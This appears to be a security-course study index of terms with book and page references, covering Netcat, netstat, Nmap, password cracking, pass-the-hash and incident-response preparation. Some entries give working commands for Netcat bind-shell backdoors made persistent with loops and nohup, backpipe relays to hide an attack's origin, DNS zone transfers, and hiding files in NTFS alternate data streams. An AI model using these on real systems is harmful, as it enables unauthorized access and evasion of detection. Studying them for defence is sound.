Netcat -e option	3	20	•-e is executing with a program that will send back to listening computer. a lot of Netcat versions are compiled to not support the -e option for creating backdoors. In fact, this option in the define portion of the Netcat source code, is referred to as "GAPING SECURITY HOLE," because it can be used to create backdoors.
netcat -l option	3	11	• By using the -l option (for "listen"), Netcat is put in listening mode. You tell it which port to listen on (TCP or (UDP). Netcat receives packets from the network and then sends their contents to standard out, which is the screen (by default). Alternatively, the received data on the network can be directed into a file or piped into any application's standard input.
Netcat Listen Mode	3	11	• Listen mode waits for connections on a specific port • All data received from the network is put on standard output - Screen, redirected to a file or sent to an application • Standard input is sent across network • Messages from the tool itself are sent to standard err - Clients initiate connections - Listeners wait for them to arrive
netcat Listener back to client	3	13	listener: nc -l -p [port] < [filename] client -nc [listenerIP] [port] > [filename]
Netcat Persistant Backdoor Listeners	3	16	• With the -"l" flag, Netcat listens once • When a connection is dropped, Netcat stops listening • On Windows, Netcat re-starts listening when invoked with "-L" • On Linux/(jNIX, Netcat can be made persistent in several ways - Schedule a cron job to start Netcat regularly - Use a version of Netcat that supports - Use a while loop, as in $ while [1] ; do echo "started"; nc -l -p [port] -e /bin/sh; done • Put that into a shell scnpt called listener.sh, chmod it to readable and executable, and use the nohup command to log out and keep it going $ nohup . /listener.sh &
Netcat Port Scanning	3	14	• Netcat supports standard "vanilla" port scans, completing the three-way handshake for TCP and just shooting data at a UDP port• TCP and UDP port scanning• Linear scans by defualt or random scans (with the -r option) • -z option for minimal data sent • example nc -v -w3 -z [target IP] [start port] - [end port] -v tells us whena connection is made, crucial for a port scan• can scan from anysource port and source routing is supported • Netcat ships with helpful vulnerability scripts - Weak RPCs, NFS exports, weak trust relationships, guessable passwords, and weak FTP vulnerabilities
Netcat Relay - Backpipe works	3	18	see slide for illustration read page for break down of backpipe relay
Netcat Relay Backdoor w/o the -e	3	20	• Let's get back to the idea ot Netcat backdoors, adapting the redirects of the relay idea to compensate tor the lack of -e support in may versions of Net cat • Suppose you have a version of Netcat that is compiled without the -e option. How can you make a backdoor? - We can make a relay, but we relay from bash to Netcat: mknod $ backpipe p; $ /bin/bash 0<backpipe | nc -l -p 8080 1>backpipe - Functionally, that is the rough equivalent of "nc -1 -p 8080 -e /bin/bash", but it does not require the -e option

Netcat Relay Methods	3	18	• Windows use the batch file approach - create a file called ncrelay.bat containing "nc next_hop 54321" - implement a relay, *type nc -l -p 11111 -e ncrelay.bat* . The -e option can be followed by only one argument, so use bat file • Linux/Unix us the backpipe approach: *$ mknod backpipe p ex: $ nc -l -p 11111 0<backpipe | nc next_hop 54321 1>backpipe ••lab p 113WB*
Netcat Relays	3	17	• Netcat can be configured to relay information from machine to machine to machine - Redirect data through ports allowed by firewall - Or use relays to make it harder to trace true originating point of an attack - Rather trivial, but set up Netcat in listener mode and pipe its output through another client-mode instance of Netcat. • Netcat can be used to bounce an attack across a bunch of machines owned by an attacker. nc -l -p incoming_port | nc target _server outgoing port • for attacker to have two-way communication 2 relays net to be set up
netcat uses	3	12	Data Transfer (moving files) • Port scanning and vulnerability scanning • making connections on open ports • Backdoors • relays
Netcat: Defense	3	21	Defense against Netcat depends on the mode in which it is used - Data transfer: Know what is running on your systems - Port scanner: Close all unused ports - Vulnerability scanner: Apply system patches - Connecting to open ports: Close all unused ports - Backdoors: KNow what is running on your systems - Relays: Carefully architect your network with layered security so an attacker cannot relay around your critical filtering capabilities (internal network firewalls, private VLANs, network isolation design)
NetScout AirCheck G2	2	86	used by law enforcement to ID criminals using Wi-Fi Aps • measures and tracks presence of imposter Aps
netsh advfirewall show currentprofile	1	63	shows built-in firewall config settings (win7 and win10)
netstat	2	110	used to show listening ports and get more information on them such as PIDS, EXE, DLLs, etc…
netstat	1	194	shows info on network usage
netstat -a	1	51	show all processes/services running
netstat -b	2	110	indicates the EXE and all of it's associated DLLS for each listening port •• screenshot p 10 WB
netstat -b	1	51, 63	shows the EXE using the port and DLLs loaded to interact with the port • **executable name**
netstat -n	1	51	show port numbers and IP addresses
netstat -na	1	63	shows listening/active TCP and UDP ports • screen shot in WB page 10
netstat -na	2	110	shows which ports are in use •• screenshot p 10 WB
netstat -na 5	1	63	putting a number after the -a flag will have it refresh the command at that number of seconds
netstat -nab (Windows)	2	110	shows .exe and all DLLs used as well as shows listening TCP/UDP ports • example on page
netstat -nao (Windows)	2	110	shows pid as well as shows listening TCP/UDP ports • pid is process ID •• screenshot p 10 WB
netstat -nao | find "ESTABLISHED"	5	25	windows command to list active networks
netstat -naob	1	63	show owning process ID and associated executables / DLSs • screen shot in WB page 10, 11 Going to show the dynamic library and the executable name.
netstat -naob | more	1	51	command for host perimeter detection •• screen shot p10 WB look for listening processes
netstat -naob 5	1	63	auto refresh after 5 seconds • screen shot in WB page 11
netstat -nap	2	112	show the txp/udp, IP, port with details example on page
netstat -o	2	110	show listening ports and process ID of listening ports •• screenshot p 10 WB
netstat -t	2		shows TCP port connections!
netstat -l	2		shows listening sockets aka ports
netstat -u			
netstat -o	1	51, 63	show owning processes ID
netstat -p	2	112	shows the process ID (PID) and program names used in netstat -nap • example on page
network hiding	5	35	rootkit hiding category
network impersonating - enterprise	2	80	Hostapd-WPE inpersonates WPA2 Enterprise networks to harvest user credentials • dumbs down EAP to collect plaintext passwords • logs all authentication attemps for later cracking such as MS-CHAPv2 authentication • software based AP • Can also be used against mobile devices • users will recv a login prompt to connect and a certificate • examples on page
Network Intelligence/Forensics	5	58	Malware propogation has definite patterns that can be observed on the network. Network-level intelligence and forensics can help detect behavioral anomalies early and throttle with an IPS like Netwitness, Fireeye, Sourcefire, Tippingpoint, Forescout, etc. • Security Onion best option •

Network Mapping Defenses	2	95	**Preparation** • disable incoming ICMP echo request messages, But users could't ping you • disable outgoing ICMP Time Exceeded messages, But users couldn't traceroute all to you • **Identification** - IDS signatures looking for ping sweep or traceroutes, Many false positives possible • Containmen - Could temporarily block source adderss of frequent ping sweep, Mark such rules as temporary in comment field and remove on a regular basis
Network Mapping Defenses-2	2	96	Containment • If you notice a particularly frequent ping sweep, could temporarily block source address • Mark such rules as temporary in comment field, and then purge them on a regular basis(such as monthly)
Network Miner	3	36	tool for pulling data out of network traffic and presenting in easy to review. • can work as live network analysis utility OR offline analysis of pcap files
Network-based DoS attacks	4	124	two types: malformed packet attack and packet flood
Newsgroups	2	40	Other open source information
newspapers and magazines	2	40	Other open source information
Night Dragon	1	135	Many recent high profile attacks were espionage
Nimda	1	83	UUNET estimates it reached saturation in 2 hours across entire internet
Nmap	2	90	An attacker wants to understand the topology of the target network. -Internet connectivity: DMZ, perimeter networks. -Internal network (with access from modem or wireless access point) The layout of routers and hosts can show vulnerabilities -Or at least let the attacker know where things are.1. Written by written by Fydor and the Nmap development team 2. Available for Linux and Windows 3. Zenmap GUI really lends itself to network mapping and visualization 4. Available free 5. Used for **network mapping and port scanning ••lab p73 WB**
Nmap - ACK scanning	2	104	•Great for finding sensitive "internal" systems. Nmap -sA -v •Great for mapping, but not port scanning •Cannot reliably tell if port is open or closed •Useful due to many organizations using simple IP address filtering for segmentation of sensitive LAN segments Can be used to map a network if outside connections are blocked. Unless a stateful firewall is in place.
Nmap - OS fingerprinting	2	105	see OS fingerprinting - Nmap
Nmap - Unprivileged scans on linux	2	92	If Nmap is not running with UID 0 on a Linux box, it runs through the same set of four packets but uses a TCP SYN to port 80 instead of an ACK because it cannot craft the ACK packet without UID 0
Nmap four packets	2	92	ICMP Echo request; TCP SYN to port 443, TCP ACK to port 80, and an ICMP Timestamp request
nmap IP Header info	2	92	IPv4 - TTL, Source IP addy, Dest IP addy; IPv6 - Hop Limit, Src IP addy, Dest IP addy
nmap -P0	2	92	Same command as -PN in older version of Nmap
nmap -PN	2	92	tells nmap not to ping the target "no ping", but to just start the scan
Nmap -scan types	2	103	• **Pingsweeps** - sends veriety of packet types (IMCP Echo Request and others) • **ARP scans**: identify which hosts are on the same LAN, does not work through a router • **Connect TCP scans** - completed three-way-handshake, very slow & easily detected • **SYN scans** - only sends initial SYN and waits for the SYN-ACK responce, ACK never sent..stealthier • **ACK scans** - useful in getting through simple router-based firewalls (not using stateful) • **FIN scans** - sends FIN packets, in an effort to be stealthy & get through firewall • **FTP Proxy "Bounce Attack" scans** - bounce attack off a poorly configured FTP server • **"Idle" scans** - can be used to divert attention, obscureing attacker's network location •**UDP Scanning** - helps locate vulnerable UDP services (53 DNS, 111 portmapper, 161 SNMP) • **Version Scanning** - tried to determine version number of programs listening on ports • **IPv6 scanning** - invoke using the "-6" syntax, most Nmap scans support the -6 option -used to be just for ping sweeps (-sP), TCP connect scans (-sT), and version scans (-sV) **•RCP Scanning** - identifies which Remote Procedure Call services are offered by target • **TCP Sequence prediticton** - useful in spoofing attacks
nmap --script dns-brute --script-args dns-brute.domain=webise,dns-brute.threads=6,dns-brute.hostlist=./namelist.txt -sS -p 53	2	36	• run with sudo example on page • -sS -p 53 are minimally needed for Nmap to perform the DNS brute force scan
nmap sweeping scans	2	92	By default, Nmap sweeps each target address before port scanning it. • This can be reconfigured to use TCP packets or ignored all together (the -PN flag in Nmap, formerly -P0) • to identify which addresses are in use, Nmap sends the following four packets to each address in the target range:ICMP Echo RequestTCP SYN to port 443 TCP ACK to port 80 (if Nmap is running with UID 0)ICMP Timestamp requestWhen running without UID 0, Nmap sends SYN packets to port 80 instead of ACKBy default NMAP sweeps each target address port before scanning it.
No-Free Bugs	2	9	Researchers discover vulnerabilities from vendors; try to get paid for the vulnerabilities they find
nohup ./listerner.sh &	3	16	command (linux,UNIX) command to ignore the HUP (hangup) signal to invoke a loop in the background by using this cmd

Non-Discriminating attackers	2	16	(Script kiddies)(Musabetsu-kougeki in Japan)-Looking for low hanging fruit, and may skip recon step
nonexec_user	3	90	• Preparation (CONT): - Build Time Preparation • Configure system so that no instructions can be retrieved from stack • Stops some buffer overflows, but not all • May break some applications that do unusual things with the stack • Still very useful on sensitive systems • Grsecurity • PaX • SELinux • Windows Defender Exploit Guard (ED)
non-WiFi attacks	2	82	wireless attacks start at wi-fi • non wi-fi attacks are less common, but no less damaging • bluetooth, zigbee, z-wave, RFID systems for door locks
NOP Sled	3	77	Used in buffer overflow attack. Adds padding of a series of NOPs to assist in reaching malicious instructions. Can be used to detect buffer overflow attacks. Putting a large number of NOP instructions at the beginning of the exploit, the attacker improves the odds that the guessed return pointer will work
Normal Stack	3	67	diagram | the stack is LIFO (last in first out)• programs call their subroutines, allocating memory space for function variables on the stack • the stack is like a scratchpad for storing little items to remember• the stack is LIFO - you **push** things on the top of the stack and **pop** things from the top of the stack• the return pointer contains the address of the calling function. (ie Point we want to return to when the function finishes running.)
notepad <file_or_directory_name>:stream_name	5	75	Syntax for creating alternate data stream
Notify Business Units	1	95	if short-term containment disables the system (remove from netowrk or denying users) notify business unit responsible for the system • get permission in writing • if they disagree they win
NSA Ghidra tool	5	20	used to combat unpackers. Supports python scripts and has a GUI and a CLI. It is a debugger to help reverse engineer malware and exploit development /w advanced features and modern user interface
NSLOOKUP	2	33	•program that can interrogate DNS servers •Windows and Unix •Unix is being deprecated, use dig or host • can do dns zone transfer
nslookup > server [authoritative_server_IP_or_name] > set type=any > ls -d [target_domain]	2	34	Windows command to dump all records from your DNS servers using zone transfers. An attacker can determine which machines are accessible on the internet
nslookup >server > set type=any > ls -d	2	34	DNS Zone Transfer in Windows command
nslookup and DNS	2	33	Attacker's goal is to discover as many IP addresses associated w/ target domain as possible.
NT Hash	4	15	NT Hash: Modern Windows systems, Preserves case sensitivity• converts to unicode then MD4 hased • Encrypted using RC4 or AED-CBC-128 stored in SAM •15 Characters or more then no LANMAN hash is stored • Stronger than LANMAN • no salts are used in the hash • example on page
ntdsutil.exe	4	19	buit-in tool attackers used to put NTDS.dit and system registry hive data. Activate instance ntds command followed by ifm(install from media) • example on page
NTFS	5	75	supports Alternate Data Streams (ADS) • error windows with :java.exe:$DATA indicate a filesystem is NTFS
NTFS- hide files	5	75	If system is running NTFS, alternate data streams are supported ---Multiple streams can be attached to each file or directory Attacker's files can be hidden in a stream behind normal files on the system---• Such as notepad.exe or word.exe (or anything else!) Use the type command built into Windows: • type hackstuff.exe notepad.exe:stream1.exe---Or, use the cp program from the NT Resource Kit: • cp hackstuff.exe notepad.exe:stream1.exe----To get data back, it can be copied out of the stream: • cp notepad.exe:stream1.exe hackstuff.exe Alternatively, you can create an alternate data stream attached ot a directory by simply typing: ---• notepad <filename>:<streamname> If you know a stream exists and you know its name, you can view its contents using the more command: ----• more < c:\file:stream1 • error windows with :java.exe:$DATA indicate a filesystem is NTFS
NTLDR	5	47	program that verifies the integrity of the Ntoskrnl.exe or win32k.sys (Windows kernel) file before its loaded into memory
ntoskrnl.exe	5	47	File where kernal functionality lies on Windows. Is integrity checked by NTLDR before kernel is loaded into memory See also: win32k.sys which does the same thing.
Null characters, ASCII (0x00)	3	75	Major issue if an attacker is trying to exploit a faulty string function. String functions only copy code up to the Null character; to avoid null characters and anything else the program may filter, this step may involve some creative assembly language programming and/or some encoding of the instructions so that they don't get filtered!
Null routing	1	101	routers drop packets associated w/given source or dest IPA used in attack
nvram	1	162	stores the state of virtual machines BIOS, including BIOS boot program, clock settings
ODBC Error	4	92	error message that might indicate a SQL injection vulnerability or flaw

Open Source Information	2	40	•Public database -SEC's Edgar -Job sites -pipl.com -namechk.com -Hacker sites -newspapers -magazines -blogs -social networking sites -newsgroups (postings from employees)
Open Web Application Security Project - OWASP	4	74	1) Guide to building secure web applications.2) Web App Pentest Framework/ Checklist.3) WebGoat a buggy web app ready for you to test 4) Input Validation code including PHP Java and Regular expression5) ZAP web app vuln scanner •FREE at owasp.org • OWASP Developer Guide: design, arch. implementtion event logging and more
OpenPuff	5	110	Great support for images, audio, video and flash-adobe files-multi-password support-Plausible deniability -Multiple rounds of encryption with different algorithms
Open-Source Intelligence - OSINT	2	18	collective representation of data in a useful manner, giving attacker insight into critical info before starting their attack • **Used both offensively and defensively** The primary problem with OSINT data is the unique number of data sources and varied search criteria.
OpenSSH error message	3	44	example on page
OpenStego	5	110	Embeds data and digital watermarks into images
OpenVAS	2	122	a fork of the previous free, open-source version of Nessus 2 Vulnerability scanner
Operating System Identification	1	152	ID tool to use
OS Fingerprinting - Nmap	2	105	can determine type of platform a system is running by sending various packets to both open and closed ports and comparing the results • more than 30 methods • Port scanning flag combos • TCP ISN greatest common denomitator (GCD) • TCP ISN counter rate (ISR) • TCP IP ID sequence generation algorithim (TI) • ICMP IP ID sequence generation algorithim • shared IP ID squence Boolean (SS) • TCP timestamp option algorithm (TS) • TCP initial windows size (w, w1-w6) • IP dont fragment bit (DF) • IP initial time to live guess (TG) • explicit congestion notification (CC)
OSI model	3	28	see diagram of OSI model and how it works
OSINT - Data collection	2	25	numerous, disparate data sources • accessibility and confidence in data sources is a challenge • tools to use: Spiderfoot • data is collected from public websites and 3rd-party API services p29
OSINT resources	2	18	Certificate transparency • haveibeenpwned.com •
OSSEC- File Integrity Checking	5	57	File integrity checker and rootkit checking
OSSEC- Rootkit checking	5	55	Includes feature called Rootcheck and File integrity checker (pg 57). File integrity checker runs on Linux, Unix, Mac, and windows. Freely available.
OWASP Developer Guide	4	74	comprehensive guide with details on design, architecture, implementation, event logging + more
Pacdoor (Hijacking Attacks)	3	56	• can also intercept traffic tor specific domains (think PAC Backdoors) and. Harvest full HTTPS URL information for things like Session IDs. Once you give a browser a PAC file it will then use your malicious proxy for all traffic.
Packers	5	19	Focus on compressing executables, but can be used for malicious purposes.
Packers- Tools	5	19	Open Source:UPX, Toda, Themida, Exe32pack. Commercial solutions: Thinstall, PECompact, PEBundle, etc.
packet flood	4	124	involves sending more packets to a machine tha it can handle; kills system or network resources; Smurf, SYN Flood DDoS
Packet Storm Security	5	156	Every day or two, new exploit code and tools are posted -A tremendous amount of hacking and security information
PAM (Pluggable Authentication Module) to Enforce Password Complexity LINUX	4	48	• PAM used in linux, various BSD platforms, Solaris, and HU-UX to extend the authentication functionality of the system• can be used to link a machine's authentication into a RADIUS server, Kerberos, or biometrics authentication• can be used to enforce password complexity • passwdqc custom module with commandline tools • pwqcheck - test password for complexity • pwqgen - generates random password that matches complexity requirements
Parameterized queries	4	94	eleminates risk of SQL injection simpler for most programmers, improves database performance
Parser Vulnerabilities - Defenses	3	102	sniffing programs are often installed on sensitive networks such as DMZz, data centers, and so on, because these locations are where you want to monitor traffic.. An unpatched sniffer system is akin to asking for trouble on your network. • Be very careful with programs that parse protocols and files - All network-using apps do - Most other file-reading apps do as well - But pay special attention to your sniffer tools and their associated analysis programs - Usually installed on sensitive networks (DMZ, datacenters, etc) to monitor - Wherever you have Wireshark, Snort, tcpdump, NetMon, or any other sniffer installed, make sure you keep patches up to date!

PASS THE HASH - Defense	4	57	**Preparation**: Maintain control of hashes:--Patch systems--Harden machines--use endpoint security suites--block client to client connections, allow SMB to client from admin (bundle AV, antispyware, firewall, IPS) --**Identification**: Look for unusual admin activity on a machine, Configuration changes, and so on--Look for unusual machine to machine connections *net sessions* help identify--**Containment, Eradication, Recovery:** -Change passwords immediately
Pass the Hash - Tools	4	54	Windows Tools• Pass-the-Hash Toolkit (pshtoolkit) free tool by Hernan Ochoa• Windows Credential Editor (WCE) - an improved free version from Hernan Ochoa that runs on Windows Vista, 7, 8, and 2008 Server; also supports "pass-the-ticket" fro Microsoft's implementation of KerberosLinux Tools: Modified SAMBA code from JoMo-Kun of Foofus hacking group - Patches for SAMBA code to authenticate using environment variable SMBHASH with LANMAN:NT - $ export SMBHASH="92D887C9910492C3254E2DF489A880E4 : 7A2EDE4F51B94203984C6BA21239CF63"• Metasploit psexec module also supports pass the hash attacks• Either tool can also be used for attacking Windows targets and target Linux/Unix SAMBA file servers as well• Cannot get code execution on Linux/Unix SAMBA servers, can get access to the file systems
Pass the Hash Attack Architecture	4	53	• Step 1 the attacker steals the hashes, perhaps by exploiting the victim machine using Metasploit or other exploitation framework. • Step2 With the hashes from the target machine's LSASS process in hand, in Step2, the attacker uses a pass-the hash tool to place the hashes into the memory of process that performs Windows authentication on a machine controlled by the attacker. The attacker i essence, is overwriting the current authentication credentials(hashes) in the memory of there machine, replacing them with the hashes for an account on the victim machine • Step 3, the attacker simply accesses the target machine, using any sort of remote access Windows tool based on SMB, such as the "net use" command, mounting the victim machine's file system, or running regedit or the reg command to remotely access the victim's registry. As far as the victim machine is concerned, the legitimate user has authenticated, because the attacker has applied that user's hash during the SMB authentication phase
Pass the Hash Attacks	4	52	• attacker steals hashes from a target machine, but doesn't crack the passwords. Instead, the attacker uses these hashes to authenticate directly to the target machine without even knowing what the password is • saves a significant amount of time • attacker steals the hashes from a target machine using a hash dump utility such as fgdump or the hashdump command of Meterpreter's priv module, psexec
Passwdqc	4	48	custom module with accompanying commandline tools pwqcheck - test password for complexity • pwqgen - generates random password that matches complexity requirements Works for Linux, FreeBSD, and Solaris
Password Complexity Tools (windows)	4	47	Windows includes rudimentary password complexity enforcement though ADUC MMC snap-ins •enforced with Group Policy (active directory) •thwart brute-force attacks and rainbow-table attacks, password length is often more important than complexity • password length is one of themost important tools to force pass phrases and foil password attacks (20 or 30 character pass phrases) Commercial tool for password complexity: Password Guard (www.georgiasoftworks.com
Password Cracking - Rainbow Tables	4	18	cracking attacks based on a pre-caculated hash table to get plain text passwords•create encrypted/hashed password representations in advance -stored in RAM (1-2 Gig) or giant indexed file in hard drive (multiple terabytes or more) •Rainbow Project •Free Rainbow Tables Does not work with Hash
Password Cracking Defense: Preparation	4	45	Get rid of LANMAN hashes on local systems • enforce strong passwords • have password policy • deploy Micrsoft Local Administrator Password Solution (LAPS) • deploy Microsoft Credential Guard
Password Cracking for GOOD	4	11	•Recovering forgotten or unknown passwords•Audit strength •Determine what is unacceptable password and time to crack •force users to change on next logon•DONT use it for migrating users to new plaform (could impact non-repudiation, impacting cases) • set weak password accounts to change password next logon
Password Cracking Fundamentals	4	30	Exploit system of low-to-medium importance • dump all available password hashes • crack password hashes for as long as necessary • reuse recovered passwords to access important targets • 2 tools: John the Ripper and Hashcat
Password Cracking Methods	4	10	•Dictionary attack -uses word list - considered fastest •Brute Force Attack -uses character sets - considered strongest •Hybrid -mix of the two "word mangling" • Tools: Cain and Able, John the Ripper, oclHashcat-plus

Password Cracking Steps	4	9	process of trying to guess or determine somones plaintext password, when you only have their encrypted password -offlineSteps: 1) find valid user ID 2) find encryption algorithm used 3) obtain encrypted password 4) create list of possible passwords 5) encrypt each password 6) see if there is a match •To improve speed: •Prepare dictionary •Prepare combo of dictionary terms & passwords •automate and optimize
Password Guessing	4	6	Guessing different than cracking: **conducted remotely** 1. find valid UserID 2. create list of possible passwords 3. try typing in each password 4. if system allows you in -success 5.if not, try again **Scripts or automated tools to improve speed and accuracy** • password guessing is SLOW(ranges from 1 guess every 3 secs - at most 5 guesses/sec) could **trigger account lockout** preventing legitimate user from being able to log in
Password Guessing - Spraying	4	7	avoid account, by trying small number of potential passwords against large number of accounts • examples on page
Password Hashes	4	13	Passwords not saved in plaintext, but a hash of the password string • Several Options Windows: LANMAN, NTLM Linux?UNIX: DES, 3DES, MD5, Blowfish, SHA-256, SHA-512 • CPU nd memory instive: bcrypt, scrypt, PBKDF2
Password Hashes without Salt - Windows	4	16	shows example of windows passwords without salts and how same passwords the hash is the same
Password Protect BIOS	3	7	• Will stop Kon-boot attacks
Password Protection	4	5	User password mut be protected against: **•unauthorized disclosure •unauthorized modification •unauthorized removal** • Solution: store only encrypted or hashed passwords •"password representation" **•Windows stores them locally in SAM file and remotely in Active Directory** •Linux stores it in /etc/shadow file
Password Salting	4	17	adding a salt to password adds randomness • salt is a random string, but not a secret • OS adds salt automatically when calculating pasword hash, transparent to users • defeats Rainbow Table attacks
Password Set	4	79	Once you have large number of user IDs, can pick and choose passwords users are likely to use, run them one at a time to test with Burp Pro • screenshot on page
Password Spraying	4	7	To avoid account lockout, attackers:•avoid triggering account lockout •small number of passwords against large number of accounts on larger number target machines •choose common words -city names, company names, product names, local sports team •choose names based on password reset intervalsEx: every 90 days reset, try spring2017 or summer2017•effective technique
Password Spraying - Burp Pro - Screenshot	4	80	screen shot from Burp Pro showing password spraying
PEBundle	5	19	• packing algorithms and tools • commercial
PECompact	5	19	• packing algorithms and tools • commercial
Peer Notification Policy	1	26	Develp policy to notifiy business partners/joint ventures , company, employees, contractors of incidents that could affect them • poicy for VPN usage, warning banner stating all systems connecting subject to remote search
People - Preparation	1	21	• Overlooked aspect of security posture, most easily attacked: Via Targeted email (spear phishing) and calls (social engineering) • Reocurring training required Annual training tends to be ineffective Constant reinforcement SANS Securing the human • Regularly test users Caller ID spoofing Phishing attempts
permission form	2	8	Always get permission in writing FIRST! • document should state the giver of permission understands the risk of the scan or test sample at www.counterhack.net/permission_memo.html used for employee to employer (not suitable for pentesting)
Persistent Backdoor	3	16	• while [1]; do echo "Started"; nc -l -p [port] -e /bin/sh; done
PGP	1	35	encryption method for email and files
PGP - encryption	1	47	Commercial encryption tool
Phishing - E-Mail Scenario	1	144	You can report phishing to the bank (or other org that appeared to send e-mail) the ISP, and www.antiphishing.org; (DNS wbeproxy, firewall, black hole defense)
Phishing - HREF - E-Mail Scenario	1	144	tag to display certain text on HTML-enabled-email reader screen, with link actually pointing somehwere else when unsuspectiong user clicks on link; You can report phishing to bank (or other org that appeared to send e-mail) the ISP, and www.antiphishing.org; (DNS wbeproxy, firewall, black hole defense)
Phishme	1	21	Company/Website that helps test and track phishing
Physical Access Attacks	3	4	• Many attacks focus on having direct access to a system • Think stolen laptop • tools to bypass local access controls like passwords and hard drive encryption • Kon-boot • Inception • Lanturtle+Responder

physical Access Attacks - Reasons	3	4	quick access to install malware then give it back to victim • stealing a computer and accessing it
Physical access Defense	3	7	• Use full-disk encryption - This will also require you to train users to completely power down systems when not using them • Restrict access to USB ports - Can be tough, too many UsB devices for legitimate reasons - Train users to lock systems when not using them (will restrict Rubber Duckie Attacks) • Password Protect BIOS, and disable USB boot - stop Kon-boot attacks • Disable LLMNR - "Will disable LanTurtle+Responder attacks
Ping	2	95	sends ICMP Echo request first
Ping of Death	4	124	• malformed packet attack include sending packets that are too long, or malicious ping to a computer, • sending a 65,536 byte ICMP ping packet (IPv4 max is 65,535 bytes)
PingChat	5	94	Windows chat program that uses ICMP
Pingsweeps	2	103	sends veriety of packet types (IMCP Echo Request and others)
Planned Sharring	2	18	organizations share info through: annual reports, contact info, website content, press releases etc..
Pluggable Authentication Module(PAM) to Enforce Password Complexity LINUX	4	48	• PAM used in linux, various BSD platforms, Solaris, and HU-UX to extend the authentication functionality of the system• can be used to link a machine's authentication into a RADIUS server, Kerberos, or biometrics authentication• can be used to enforce password complexity • passwdqc custom module with commandline tools • pwqcheck - test password for complexity • pwqgen - generates random password that matches complexity requirements
Plugins Nessus	2	126	1)Some plugins are written in C or, plugins can be written in the Nessus Attack Scripting Language(NASL) 2) Currently there are 100,000 plugins updated frequently 3) One plugin is in charge of doing one attack and reporting the result to the Nessus server daemon (nessusd)4) The number of plugins equates roughly to the number of tests conducted by the tool 5) Each plugin can use some functions of the Nessus library and store information in a shared knowledge base 6) Automatically updates plugins every 24 hours. You may want disable this auto-update of plugins and instead only update them manually when you want to evaluate the newest plugin in a test enviorment by using "nessus-update-plugins" script.
POC for incident	1	35	Who is the POC in the incident command center • critical sites have established secured comms? • encrypted email with PGP or GnuPG
Podcasts	5	160	list of useful podcasts.
Poison Ivy	5	9	• app-level trojan horse • legitimate but often abused
Poison Ivy - Config	5	14	Application-level trojan. Requires some configuration with server, communication method, filename, and other features are specified.
Policy - Preparation	1	22	Limit the presumption of privacy
Policy - Warning Banners - Preparation	1	22	Warning Banners should limit the presumption of privacy; should say system use WILL be monintored and recorded • Should advise user that system is limited to company-authorized activity. If monitroring reveals possible evidence of criminal activity, the company can provide the records to Law Enforcment. Legal reviewed be careful of local privacy laws (ie Europe)
polymorphic worms	4	60	doesn't change functionaity - keeps the same signatures
pop	3	111	take it off the top of the stack
port 27017	1	49	usually associated with MongoDB services
port 3000	4	66	blocking outbound IRC on standard ports, attackers are starting to turn to other protocols for bot-net communications, including IRC on non standard ports (such as TCP 3000 or TCP 3333)
port 3333	4	66	blocking outbound IRC on standard ports, attackers are starting to turn to other protocols for bot-net communications, including IRC on non standard ports (such as TCP 3000 or TCP 3333)
port 3389	2	110	Microsoft Windows Remote Desktop Protocol (RDP)
port 4444	1	51	default port for most Metasploit payloads
port 445 - TCP	2	99	Windows Server Message Block (SMB)
port 53	3	13	netcat can UDP over port 53 to transfer data selthfully • also dns zone transfer
port 53	2	37	DNS queries and responses use UDP port 53 • Zone transfers use TCP port 53
port 53 - UDP	2	99	DNS server
Port 5500	5	12	• VNC client listening port • TCP
Port 5800	5	12	VNC servers listen to port 5800 by default for Java. When a browser connects to that port, VNC invcludes a little web server that will shoot to the browser a VNC viewer client implemented in Java. 5800 serves up a java applet of the VNC viewer.
Port 5900	5	10	• VNC server listening port for management. • TCP
port 6000 - TCP	2	99	usuall indicates X Window server
port 6667	4	66	Bot communication channel on IRC standard ports (TCP 6667)
port 80 - TCP	2	99	web server

Port Scanners	2	98	identify openings on a system and type of system • most internet apps use TCP or UDP • TCP: connection-oriented, sequence preserved and retransmitted if needed • UDP: sessionless, get there if you can • IP included source and dest address of each packet
Port Scanners Defenses	2	109	• **Preparation** - Close all unused ports by shutting off services and applying filters, Utilize stateful packets filters and/or proxy firewalls, Utilize an Intrusion Detection System • **Identification** - Several IDS signatures for port scans • Log analysis shows connection attempts
Positive Skew Analysis	1	129	focusing on software or pocesses that are only installed on a few systems.
PostgreSQL database	2	62	used by WarVOX to store wardialing results
Power Log files	1	38	administrators (system/Network) can tell if the logs are showing bad actors
powerbleed	3	45	• tool used to pull server keys from memory using Heartbleed, where malformed SSL heartbeat requests can bleed memory out of a SSL enabled Apache webserver
PowerBleed (Passive & Active Sniffing)	3	45	• malformed SSL heartbeat requests can bleed memory out of an SSL-enabled Apache webserver
PowerShell Empire	2	138	• Backdoor built in PowerShell • Family of modules under Situational Awareness • situational_awareness/network/sharefinder finds accessable shares • situational_awareness/network/arpscan arp scans local ipv4 systems • Can map domain trusts, group membership, portscan and reverse DNS lookups• Uses built in MS Protocols like SMB
Preparation - Building a Team	1	30	ID qualified People • Choose local, centralized, or combo team • Multidisciplinary best: Security(IT and physical), Operations (sys admin), Network MGMT, Legal, HR, Public Affairs, Disaster Recovery (business continuity planning), Union Rep
Preparation - Checklists	1	31	One checklist per system type • proceedure for backing up, rebuilding systems, brief build doc 5-20 pages
Preparation - Emergency Commo Plan	1	33	Call lists/tree • conference bridge number • print "credit-card size" contact numbers • Test the call list • shared mailbox for voicemail updates
Preparation - GRR Rapid Response	1	39	large scale incident response • able to pull forensic artifacts from multiple systems both online and when a system connects • Python Based • managed by Google • for Linux, OS X, and Windows clients
Preparation - Jump Bag	1	41	Bag stocked with items needed for incident handling • Fresh media (usb, DVD) for evidence • Evidence collection software (FTK Imager, dd) • Forensic software (SANS Invetigative Toolkit, EnCase) • Hardware for monitoring network traffic (network tap) • different network cables • PC Repair Kit • Incident response forms • personal items
Preparation - Management Support	1	29	Create an Incident Response "IR" newsletter monthly or quarterly for MGMT • helps MGMT get it and "buy-in" to support
Preparation - Notify Law Enforcement	1	24, 25	Requirement to report varies by jurisdiction • Threat to public health/safety • impact to 3rd party • legal requirement based on industry (FDIC, OCC, HIPPA) • Breach Notification Laws • Other reasons
Preparation - overview	1	20	get the team ready: •People • Policy • Data • Software/Hardware • Communications • Supplies • Transportation • Space • Power/Environmental Controls • Documentation
Preparation - Peer Notification Policy	1	26	Develp policy to notifiy business partners/joint ventures , company, employees, contractors of incidents that could affect them • poicy for VPN usage, warning banner stating all systems connecting subject to remote search
